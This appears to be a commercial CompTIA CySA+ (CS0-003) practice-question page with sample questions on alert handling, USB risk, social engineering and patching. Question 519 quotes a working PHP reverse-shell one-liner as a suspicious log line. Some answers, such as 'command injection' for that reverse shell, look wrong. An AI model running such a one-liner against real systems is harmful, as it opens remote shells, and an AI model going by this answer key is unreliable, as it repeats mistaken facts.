

# Updated CompTIA CS0-003 Practice Material for Exam Preparation

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## Authentic (Valid) Details Regarding The CompTIA CS0-003 Exam Questions

- VENDOR: (CompTIA)
- EXAM CODE: (CS0-003)
- EXAM NAME: (CompTIA Cybersecurity Analyst (CySA+) Exam)
- Number Of Questions: (327)
- Certification Name: (CySA+)
- Exam Language: (ENGLISH)
- Promo Code For CompTIA CS0-003 Exam Questions: "SAVE25"

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CompTIA Cybersecurity Analyst (CySA+) is a certification program that validates the knowledge and skills required to perform tasks related to cybersecurity analysis. CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification exam, also known as CS0-003, is designed for professionals who want to pursue a career in cybersecurity or enhance their existing skills. It is an intermediate-level certification exam that builds upon the foundational knowledge of security concepts and technologies.

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## CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q518-Q523):

### NEW QUESTION # 518

A SOC analyst determined that a significant number of the reported alarms could be closed after removing the duplicates. Which of the following could help the analyst reduce the number of alarms with the least effort?

- A. SOAR
- B. API
- C. REST
- D. XDR

#### Answer: A

Explanation:

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security alerts more efficiently.

SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident response by handling repetitive and low-level tasks automatically.

### NEW QUESTION # 519

While reviewing web server logs, a security analyst discovers the following suspicious line:

```
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php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

Which of the following is being attempted?

- A. Server-side request forgery
- B. Command injection
- C. Reverse shell
- D. Remote file inclusion

#### Answer: B

Explanation:

The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack.

Reference: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

### NEW QUESTION # 520

A security analyst needs to mitigate a known, exploited vulnerability related to a attack vector that embeds software through the USB interface. Which of the following should the analyst do first?

- A. Review logs to see whether this exploitable vulnerability has already impacted the company.
- B. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
- C. Check configurations to determine whether USB ports are enabled on company assets.
- D. Write a removable media policy that explains that USBs cannot be connected to a company asset.

#### Answer: C

Explanation:

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

Reference:

CompTIA CySA+ CS0-003 Certification Study Guide, page 247

What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors" Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"

### NEW QUESTION # 521

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

- A. Blocking all scripts downloaded from the internet
- B. Disabling all staff members' ability to run downloaded applications
- C. Ensuring that malicious websites cannot be visited
- D. **Increasing training and awareness for all staff**

#### Answer: D

Explanation:

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls.

This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers.

Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation.

The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- \* Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- \* Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- \* Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- \* Following the organization's policies and procedures on security awareness and best practices
- \* Official References:
  - \* <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
  - \* <https://www.comptia.org/certifications/cybersecurity-analyst>
  - \* <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

### NEW QUESTION # 522

A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches. Which of the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Select two).

- A. POC availability
- B. Hostname
- C. IoCs
- D. Missing KPI
- E. npm identifier
- F. **CVE details**

#### Answer: C,F

Explanation:

CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. Reference: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

### NEW QUESTION # 523

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